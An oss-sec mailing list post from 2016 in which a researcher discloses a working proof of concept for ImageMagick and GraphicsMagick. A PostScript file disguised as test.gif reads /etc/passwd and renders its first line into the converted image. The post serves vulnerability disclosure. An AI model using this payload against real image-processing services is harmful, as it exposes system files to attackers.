oss-sec mailing list archives

Re: ImageMagick identify "d:" hangs


From: Tavis Ormandy <taviso () google com>
Date: Wed, 28 Sep 2016 14:23:56 -0700

On Wed, Sep 28, 2016 at 1:52 PM, Tavis Ormandy <taviso () google com> wrote:

It seems obvious you can manipulate the output based on this. I'd be
interested to hear why I'm wrong about this.


Oh, you can just do this:

$ cat test.gif
%!PS
/Font /Helvetica-Bold findfont def
/FontSize 12 def
Font FontSize scalefont setfont

/dumpname {
    dup             % copy filename
    dup             % copy filename
    print           % print filename
    (\n) print      % print newlinea
    status          % stat filename
    {
        (stat succeeded\n) print
        ( ctime:) print
        64 string cvs print
        ( atime:) print
        64 string cvs print
        ( size:) print
        64 string cvs print
        ( blocks:) print
        64 string cvs print
        (\n) print
        (\n) print
    }{
        (unable to stat\n\n) print
    } ifelse
    .libfile        % open as library
    {
        (.libfile returned file\n\n) print
        64 string readstring
        pop         % discard result (should proably test)
        dup         % copy read string
        print       % write to stdout
        % write to output
        newpath 0 0 moveto show showpage
        (\n) print
    }{
        (.libfile returned string\n) print
        print
        (\n) print
    } ifelse
} def

(/etc/passwd) /dumpname load 256 string filenameforall
$ convert test.gif png:test.png
<creates a file called test.png containing first line of /etc/passwd>

Also seems to work with gm convert.

Tavis.


Current thread: